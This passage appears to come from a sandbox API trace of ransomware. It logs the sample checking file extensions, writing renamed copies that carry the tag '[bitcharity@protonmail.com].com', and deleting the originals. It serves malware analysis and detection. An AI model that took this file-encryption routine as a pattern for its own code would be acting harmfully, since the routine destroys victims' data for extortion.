(lpString1=".docx", lpString2="s.dll") returned -1 [0133.948] lstrlenW (lpString=".pdf") returned 4 [0133.948] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.948] lstrlenW (lpString=".xls") returned 4 [0133.948] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.948] lstrlenW (lpString=".xlsx") returned 5 [0133.948] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0133.949] lstrlenW (lpString=".ppt") returned 4 [0133.949] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.949] lstrlenW (lpString=".zip") returned 4 [0133.949] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.949] lstrlenW (lpString=".rar") returned 4 [0133.949] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.949] lstrlenW (lpString=".bz2") returned 4 [0133.949] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.949] lstrlenW (lpString=".7z") returned 3 [0133.949] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0133.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.949] lstrlenW (lpString=".dbf") returned 4 [0133.949] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0133.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.949] lstrlenW (lpString=".1cd") returned 4 [0133.949] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0133.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0133.949] lstrlenW (lpString=".jpg") returned 4 [0133.949] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0133.949] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0133.949] lstrlenW (lpString="SetupResources.dll") returned 18 [0133.949] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0133.950] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=18264) returned 1 [0133.950] CloseHandle (hObject=0x1084) returned 1 [0133.950] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0133.950] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0133.950] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.950] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0134.660] GetLastError () returned 0x0 [0134.660] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x4758, lpOverlapped=0x0) returned 1 [0134.770] WriteFile (in: hFile=0x103c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x4760, lpOverlapped=0x0) returned 1 [0134.771] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.771] WriteFile (in: hFile=0x103c, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0134.771] SetEndOfFile (hFile=0x103c) returned 1 [0134.771] CloseHandle (hObject=0x103c) returned 1 [0134.773] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.773] SetEndOfFile (hFile=0x1084) returned 1 [0134.774] CloseHandle (hObject=0x1084) returned 1 [0134.774] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.774] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0134.775] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.775] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.775] lstrlenW (lpString=".doc") returned 4 [0134.775] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0134.775] lstrlenW (lpString=".docx") returned 5 [0134.775] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0134.775] lstrlenW (lpString=".pdf") returned 4 [0134.775] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0134.775] lstrlenW (lpString=".xls") returned 4 [0134.775] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0134.775] lstrlenW (lpString=".xlsx") returned 5 [0134.775] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0134.775] lstrlenW (lpString=".ppt") returned 4 [0134.775] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0134.775] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.775] lstrlenW (lpString=".zip") returned 4 [0134.775] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0134.775] lstrlenW (lpString=".rar") returned 4 [0134.776] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0134.776] lstrlenW (lpString=".bz2") returned 4 [0134.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0134.776] lstrlenW (lpString=".7z") returned 3 [0134.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0134.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.776] lstrlenW (lpString=".dbf") returned 4 [0134.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0134.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.776] lstrlenW (lpString=".1cd") returned 4 [0134.776] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0134.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.776] lstrlenW (lpString=".jpg") returned 4 [0134.776] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0134.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.776] lstrlenW (lpString=".doc") returned 4 [0134.776] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0134.776] lstrlenW (lpString=".docx") returned 5 [0134.776] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0134.776] lstrlenW (lpString=".pdf") returned 4 [0134.776] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0134.776] lstrlenW (lpString=".xls") returned 4 [0134.776] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0134.776] lstrlenW (lpString=".xlsx") returned 5 [0134.776] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0134.776] lstrlenW (lpString=".ppt") returned 4 [0134.776] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0134.776] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.777] lstrlenW (lpString=".zip") returned 4 [0134.777] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0134.777] lstrlenW (lpString=".rar") returned 4 [0134.777] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0134.777] lstrlenW (lpString=".bz2") returned 4 [0134.777] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0134.777] lstrlenW (lpString=".7z") returned 3 [0134.777] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0134.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.777] lstrlenW (lpString=".dbf") returned 4 [0134.777] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0134.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.777] lstrlenW (lpString=".1cd") returned 4 [0134.777] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0134.777] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0134.777] lstrlenW (lpString=".jpg") returned 4 [0134.777] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0134.777] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0134.777] lstrlenW (lpString="SetupResources.dll") returned 18 [0134.777] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0134.778] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=17752) returned 1 [0134.778] CloseHandle (hObject=0x1084) returned 1 [0134.778] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0134.778] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0134.778] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0134.778] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.778] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.778] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0134.873] GetLastError () returned 0x0 [0134.873] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x4558, lpOverlapped=0x0) returned 1 [0135.007] WriteFile (in: hFile=0x10bc, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x4560, lpOverlapped=0x0) returned 1 [0135.009] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0135.009] WriteFile (in: hFile=0x10bc, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0135.009] SetEndOfFile (hFile=0x10bc) returned 1 [0135.009] CloseHandle (hObject=0x10bc) returned 1 [0135.010] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.010] SetEndOfFile (hFile=0x1084) returned 1 [0135.011] CloseHandle (hObject=0x1084) returned 1 [0135.011] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0135.011] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0135.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.011] lstrlenW (lpString=".doc") returned 4 [0135.011] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.011] lstrlenW (lpString=".docx") returned 5 [0135.011] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0135.011] lstrlenW (lpString=".pdf") returned 4 [0135.011] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.011] lstrlenW (lpString=".xls") returned 4 [0135.011] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.011] lstrlenW (lpString=".xlsx") returned 5 [0135.011] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0135.011] lstrlenW (lpString=".ppt") returned 4 [0135.011] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.012] lstrlenW (lpString=".zip") returned 4 [0135.012] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.012] lstrlenW (lpString=".rar") returned 4 [0135.012] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.012] lstrlenW (lpString=".bz2") returned 4 [0135.012] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.012] lstrlenW (lpString=".7z") returned 3 [0135.012] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.012] lstrlenW (lpString=".dbf") returned 4 [0135.012] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.012] lstrlenW (lpString=".1cd") returned 4 [0135.012] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.012] lstrlenW (lpString=".jpg") returned 4 [0135.012] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.012] lstrlenW (lpString=".doc") returned 4 [0135.012] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.012] lstrlenW (lpString=".docx") returned 5 [0135.012] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0135.012] lstrlenW (lpString=".pdf") returned 4 [0135.012] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.012] lstrlenW (lpString=".xls") returned 4 [0135.012] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.012] lstrlenW (lpString=".xlsx") returned 5 [0135.012] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0135.012] lstrlenW (lpString=".ppt") returned 4 [0135.012] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.012] lstrlenW (lpString=".zip") returned 4 [0135.012] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.012] lstrlenW (lpString=".rar") returned 4 [0135.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.013] lstrlenW (lpString=".bz2") returned 4 [0135.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.013] lstrlenW (lpString=".7z") returned 3 [0135.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.013] lstrlenW (lpString=".dbf") returned 4 [0135.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.013] lstrlenW (lpString=".1cd") returned 4 [0135.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0135.013] lstrlenW (lpString=".jpg") returned 4 [0135.013] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.013] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0135.013] lstrlenW (lpString="SetupResources.dll") returned 18 [0135.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0135.013] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=14168) returned 1 [0135.013] CloseHandle (hObject=0x1084) returned 1 [0135.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0135.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0135.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0135.014] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.014] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0135.014] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0136.110] GetLastError () returned 0x0 [0136.110] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x3758, lpOverlapped=0x0) returned 1 [0136.154] WriteFile (in: hFile=0x1038, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x3760, lpOverlapped=0x0) returned 1 [0136.156] ReadFile (in: hFile=0x1084, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.156] WriteFile (in: hFile=0x1038, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0136.156] SetEndOfFile (hFile=0x1038) returned 1 [0136.156] CloseHandle (hObject=0x1038) returned 1 [0136.161] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.161] SetEndOfFile (hFile=0x1084) returned 1 [0136.162] CloseHandle (hObject=0x1084) returned 1 [0136.162] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.162] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0136.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.163] lstrlenW (lpString=".doc") returned 4 [0136.163] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0136.163] lstrlenW (lpString=".docx") returned 5 [0136.163] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0136.163] lstrlenW (lpString=".pdf") returned 4 [0136.163] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0136.163] lstrlenW (lpString=".xls") returned 4 [0136.163] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0136.163] lstrlenW (lpString=".xlsx") returned 5 [0136.163] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0136.163] lstrlenW (lpString=".ppt") returned 4 [0136.163] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0136.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.163] lstrlenW (lpString=".zip") returned 4 [0136.163] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0136.163] lstrlenW (lpString=".rar") returned 4 [0136.163] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0136.163] lstrlenW (lpString=".bz2") returned 4 [0136.163] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0136.163] lstrlenW (lpString=".7z") returned 3 [0136.163] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0136.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.164] lstrlenW (lpString=".dbf") returned 4 [0136.164] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0136.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.164] lstrlenW (lpString=".1cd") returned 4 [0136.164] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0136.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.164] lstrlenW (lpString=".jpg") returned 4 [0136.164] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0136.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.164] lstrlenW (lpString=".doc") returned 4 [0136.164] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0136.164] lstrlenW (lpString=".docx") returned 5 [0136.164] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0136.164] lstrlenW (lpString=".pdf") returned 4 [0136.164] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0136.164] lstrlenW (lpString=".xls") returned 4 [0136.164] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0136.164] lstrlenW (lpString=".xlsx") returned 5 [0136.164] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0136.164] lstrlenW (lpString=".ppt") returned 4 [0136.164] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0136.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.164] lstrlenW (lpString=".zip") returned 4 [0136.164] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0136.164] lstrlenW (lpString=".rar") returned 4 [0136.164] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0136.164] lstrlenW (lpString=".bz2") returned 4 [0136.165] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0136.165] lstrlenW (lpString=".7z") returned 3 [0136.165] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0136.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.165] lstrlenW (lpString=".dbf") returned 4 [0136.165] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0136.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.165] lstrlenW (lpString=".1cd") returned 4 [0136.165] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0136.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0136.165] lstrlenW (lpString=".jpg") returned 4 [0136.165] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0136.165] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.165] lstrlenW (lpString="Rotate1.ico") returned 11 [0136.165] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0136.361] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=894) returned 1 [0136.361] CloseHandle (hObject=0x10c0) returned 1 [0136.361] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0136.361] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 